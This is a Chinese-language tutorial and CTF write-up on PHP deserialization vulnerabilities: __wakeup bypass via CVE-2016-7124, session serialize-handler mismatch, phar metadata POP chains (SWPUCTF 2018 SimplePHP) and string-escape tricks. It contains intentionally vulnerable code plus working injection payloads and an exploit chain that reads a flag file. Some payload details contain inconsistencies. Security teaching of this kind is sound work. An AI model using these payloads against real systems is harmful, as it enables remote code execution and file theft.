PHP序列化与序列化
作者：H3h3QAQ
一、PHP序列化和反序列化
1.PHP反序列化：
serialize()
将变量或者对象转换成字符串的过程，用于存储或传递PHP的值的过程种，同时不丢失其类型和结构
常见的序列化字母表示及其含义：
a - array ----->a:<n>:{<key 1><value 1>...<key n><value n>}
b - boolean ----->b:<digit>
d - double ----->d:<number>
i - integer ----->i:<number>
o - common
r - reference
s - string ----->s:<length>:"<value>"
C - custom object
O - class ----->O:<length>:"<class name>":<n>:{<field name 1><field value1>...<field name n><field value n>}
N - null
R - pointer reference
U - unicode string
<?php
class h3{
public $v1;
public $v2=false;
public $v3=1;
public $v4=2.1;
public $v5=array();
public $v6="h3h3QAQ";
private $v7="H3h3QAQ";
protected $v8="protected";
}
$s=serialize(new h3());
echo $s;
var_dump(unserialize($s));
序列化运行结果为：
O:2:"h3":8:{s:2:"v1";N;s:2:"v2";b:0;s:2:"v3";i:1;s:2:"v4";d:2.1;s:2:"v5";a:0:{}s:2:"v6";s:7:"h3h3QAQ";s:6:" h3 v7";s:7:"H3h3QAQ";s:5:" * v8";s:9:"protected";}
反序列化运行结果
object(h3)#1 (8) {
["v1"]=>
NULL
["v2"]=>
bool(false)
["v3"]=>
int(1)
["v4"]=>
float(2.1)
["v5"]=>
array(0) {
}
["v6"]=>
string(7) "h3h3QAQ"
["v7":"h3":private]=>
string(7) "H3h3QAQ"
["v8":protected]=>
string(9) "protected"
}
（1）各种魔术方法
__destruct()：//析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时，会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__construct(): //构造函数，当对象new的时候会自动调用，但在unserialize()时不会自动调用
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在，该方法会被优先调用
当PHP5<5.6.25、PHP7<7.0.1时，当成员属性数目大于实际数码时可绕过__wakeup方法（CVE-2016-7124）
（2）PHP反序列化特性
1.PHP在反序列化时，底层代码时以;作为字段的分隔，以}作为结尾（字符串除外），并且是根据长度判断内容的。
2.在反序列的时候php会根据s所指定的字符长度去读取后面的字符。如果指定的长度错误则反序列化就会失败。
3.对类中不存在的属性也会进行反序列化。
2.session反序列化
（1）session概念
PHP session时一个特殊的变量，用于存储有关用户会话的信息，或更改用户会话的设置。session变量保存的信息是单一用户的，并且可供应用程序中的所有界面使用。它每个访问或者创建都有唯一的id（UID），并基于这个UID来储存变量。UID储存在cookie中，或者通过URL来进行传导。
（2）会话过程
当开始一个会话时，PHP会尝试从请求中查找会话ID（通常通过会话cookie），如果请求中不包括会话ID信息，PHP就会创建一个新的会话。会话开始之后，PHP就会将会话中的数据设置到$_SESSION变量中。当PHP停止的时候，它会自动读取$_SESSION中的内容，并将其进行序列化，然后发送会话保存管理器来进行保存。
默认情况下，PHP使用内置的文件会话保存管理器（files）来完成会话的保存。可以通过调用函数session_start()来手动开始一个会话。如果配置项session.auto_start设置为1，那么请求开始的时候，会话会自动开始
PHP脚本执行完毕之后，会话会自动关闭。同时，也可以通过调用函数session_write_close()来手动关闭会话
（3）存储引擎
PHP中的session中的内容默认是以文件的方式储存，储存方式是由配置项session.save_handler来进行确定的，默认是以文件的方式储存。储存的文件是以sess_PHPSESSID来进行命名的，文件的内容就是session值得序列化之后得内容。
session.serialize_handler有如下三种取值：
<?php
error_reporting(0);
in_set('session.serialize_handeler','php_binary');//这里可以换不同的存储引擎
session_start();
$_SESSION['username']=$_GET['username'];
?>
每种存储引擎存储的内容格式：
3.phar反序列化
phar反序列化就是可以在不使用php函数unserialize()的前提下，进行反序列化，从而引起php对象注入漏洞
phar文件的结构：
-stub：phar文件标识，前面内容不限，但是必须以__HALT_COMPILER();?>来结尾，否则phar扩展将无法识别这个文件为phar文件
-manifest：压缩文件的属性等信息，以序列化的形式储存自定义的meat-data，这里就是漏洞利用的关键点
-contents：压缩文件的内容
-signature：签名，在文件末尾
生成phar文件
一定要将php.ini中的phar.readonly选项设置为Off
<?php
class h3{
}
@unlink("phar.phar");
$phar= new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?>");//设置stub，添加gif文件头
$o=new h3();
$phar->setMetadata($o);//将自定义meat-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
$phar->stopBuffering();
?>
二、反序列化漏洞
1.反序列化成因
主要是反序列化过程中某些参数可控，传入构造的字符串，从而控制内部的变量设置函数，执行想要的操作
（1）phar反序列化漏洞造成原因
漏洞出发点在使用phar://协议读取文件的时候，文件内容黑背解析成为phar对象，然后phar对象内的Meta-data信息会被反序列化。当内核调用phar_parse_metadata()解析met-adata数据时，会调用php_var_unserialize()对其进行反序列化操作，因此会造成漏洞
2.反序列化漏洞
（1）PHP反序列化漏洞
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
// TODO: Implement __destruct() method.
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host)
{
system("ping -C 2 $host");
}
function __wakeup()
{
$this->args = array("127.0.0.1");
}
}
$a=@$_GET['a'];
@unserialize($a);
?>
我们可以简单的分析一下代码
定义了一个class类，类中有两个私有变量method和args
有三个魔术方法：
function __construct($method, $args) //构造函数，当对象new的时候会自动调用，但在unserialize()时不会自动调用
{
$this->method = $method;
$this->args = $args;
}
function __destruct() //析构函数当对象被销毁时会被自动调用
{
// TODO: Implement __destruct() method.
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function __wakeup() //unserialize()时会被自动调用
{
$this->args = array("127.0.0.1");
}
分析代码段中host的来源，想办法利用system()构成RCE
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
private $method;
private $args;
function __construct($method, $args) //构造函数，当对象new的时候会自动调用，但在unserialize()时不会自动调用
{
$this->method = $method;
$this->args = $args;
}
function __destruct()//析构函数当对象被销毁时会被自动调用
{
// TODO: Implement __destruct() method.
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host)
{
system("ping -C 2 $host");
}
function __wakeup() //unserialize()时会被自动调用
{
$this->args = array("127.0.0.1");
}
}
$a=@$_GET['a'];
@unserialize($a);
?>
我们观察代码可知：
GET方法获取参数a，并且将其反序列化。
但是再执行反序列化的时候，会自动调用__wakeup()魔术方法，把args的值改为127.0.0.1
无论我们怎么构造payload，system()执行的命令都是ping -c 2 127.0.0.1
这时我们可以利用到CVE-2016-7124漏洞
适用版本：
PHP5<5.6.25、PHP7<7.0.1
当成员属性数目大于实际数码时可绕过__wakeup方法
就可以构造恶意payload来RCE
这里还有个小知识点|管道符
把一个命令的标准输出传送到另一个命令的标准输入中，连续的|意味着第一个命令的输出为第二个命令的输入，第二个命令的输入为第一个命令的输出。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7agq5Oe-1630380854547)(https://i.loli.net/2021/08/24/xMTGeRKUBzPyNmA.png)]
所以我们可以构造序列化了
<?php
class home{
private $method="ping";
private $args=array("|calc");
}
serialize(new home());
O:4:"home":2:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:7:"|calc";}}
需要跳一下__wakeup()把成员属性数目改为3
O:4:"home":3:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:7:"|calc";}}
URL编码一下
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A5%3A%22%7Ccalc%22%3B%7D%7D
成功RCE
（2）session反序列化漏洞
当网站序列化存储session与反序列化读取session方式不同时，就可能导致session反序列化漏洞的产生。一般都是以php_serialize序列化存储session，以PHP反序列化读取session，造成反序列化攻击
例子：
phpinfo：
s1.php：
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set("session.serialize_handler",'php_serialize');
session_start();
$_SESSION["h3"]=$_GET["u"];
?>
s2.php：
<?php
highlight_file(__FILE__);
session_start();
class session{
var $var;
function __destruct(){
eval($this->var);
}
}
?>
这里需要说一下unserialize的特性，在执行unserialize的时候，如果字符串前面满足了可被序列化的规则，则后学的字符就会被忽略
a:1:{s:2:"h3";s:52:"|O:7:"session":1:{s:3:"var";s:15:"system('calc');";}";}
exp：
<?php
class session{
var $var="system('calc');";
}
echo "|".serialize(new session());
执行结果:
)]
上文可以给$_SESSION赋值，若代码中不存在给$_SESSION赋值可以利用uplode_process机制，可以在$_SESSION中创建一个键值对，其中的值可以控制
<?php
$key=ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
var_dump($_SESSION[$key]);
?>
（3）phar反序列化
利用条件：
-phar文件能够上传到服务器
-要有可用的魔术方法作为“跳板”
-文件操作函数的参数可控，且：/ \ 等特殊字符没有被过滤
有序列化数据必然会有反序列化操作，php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，受影响的函数如下
例题:
[SWPUCTF 2018]SimplePHP
存在任意文件读取
先来读取一下upload_file.php
<?php
include 'function.php';
upload_file();
?>
再来读取一下function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
再读取一下base.php
发现了提示
回头再来看class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
在Test类中存在敏感操作
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
可以反向推poc链
通过file_get_content来读取我们想要的文件，也就是调用file_get函数，之前分析得知__get->get->file_get，所以关键是触发__get方法，那么就要外部访问一个Test类没有或不可访问的属性，我们注意到前面Show类的__tostring方法
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
public function __toString() //把类当作字符串使用时触发
{
$content = $this->str['str']->source;
return $content;
}
查看一下怎么能够触发__toString()方法
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
知要echo test即可
整条链子为
C1e4r::destruct() -> Show::toString() -> Test::__get()
exp如下
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a= new C1e4r();
$b= new Show();
$c= new Test();
$c->params['source'] = "/var/www/html/f1ag.php";
$a->str = $b;
$b->str['str'] = $c;
$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();
?>
修改生成得phar文件后缀
上传成功后回到文件读取点来读phar文件
拿到base64加密得flag
反序列化字符逃逸
一、概念
在反序列化前，对序列化后的字符串进行替换或者修改，使得字符串的长度发生了变化，通过构造特定的字符串，导致对象注入等恶意操作。
二、字符变多
例子：
该题源码如下
<?php
include 'flag.php';
function filter($string){
return str_replace('x','yy',$string);
}
$username=$_GET['u'];
$password="aaa";
$user=array($username,$password);
$s=serialize($user);
$r=filter($s);
echo $r;
$a= unserialize($r);
if ($a[1]==='admin'){
echo $flag;
}
highlight_file(__FILE__);
?>
文件包含了flag
然后filter()方法，会将序列化字符串中的x替换为yy，可能会导致字符串长度
我们试着传入u=admin
序列化为：
a:2:{i:0;s:5:\"admin\";i:1;s:3:\"aaa\";}
反序列化后
a[1]不等于"admin" 没有满足条件
我们构造一下数组
<?php
$a= array('a',"admin");
echo serialize($a);
a:2:{i:0;s:1:"a";i:1;s:5:"admin";}
但是我们只有一个参数username可控
可以利用字符串逃逸
复制自己想要构造的字符串
";i:1;s:5:"admin";}
按照长度添加字符串，已知长度为19
则在前方填充19个x
'xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}
测试一下
<?php
$a= array('xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}',"a");
$s= serialize($a);
$v = str_replace('x','yy',$s);
echo $v;
运行结果
a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:1:"a";}
可以看到已经逃逸出来了
这里利用了序列化的特性
反序列化看一下
array(2) {
[0] =>
string(38) "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
[1] =>
string(5) "admin"
}
可以观察整个数据的变化
成功逃逸。获得flag
三、字符变少
也是拿一道题做例子
<?php
error_reporting(0);
include 'flag.php';
function filter($string){
return str_replace('sec','',$string);
}
$username=$_GET['u'];
$password=$_GET['p'];
$auth="guest";
$user=array($username,$password);
$s=serialize($user);
$r=filter($s);
$a=unserialize($r);
if($a[2]==='admin'){
echo flag;
}
highlight_file(__FILE__);
?>
跟上一道题差不多
先随意构造一下争取的payload：
<?php
$a= array("u","p","admin");
$s= serialize($a);
echo $s;
$v = str_replace('sec','',$s);
运行后拿到所需部分
";i:2;s:5:"admin";}
需要我们传入的payload
u=xxx&p=xxxx
已知两个可控值中间的部分不变（可能会多一位）
";i:1;s:1:"
这里可以利用替换方法换成空值从而完成逃逸
<?php
$a= array("secsecsecsec",'";i:1;s:1:"p";i:2;s:5:"admin";}',"admin");
$s= serialize($a);
echo $s;
$v = str_replace('sec','',$s);
执行结果
a:3:{i:0;s:12:"secsecsecsec";i:1;s:31:"";i:1;s:1:"p";i:2;s:5:"admin";}";i:2;s:5:"admin";}
可以看到已经完成了逃逸
反序列化一下看看
array(3) {
[0] =>
string(12) "";i:1;s:31:""
[1] =>
string(1) "p"
[2] =>
string(5) "admin"
}
a[2]=admin 拿到flag
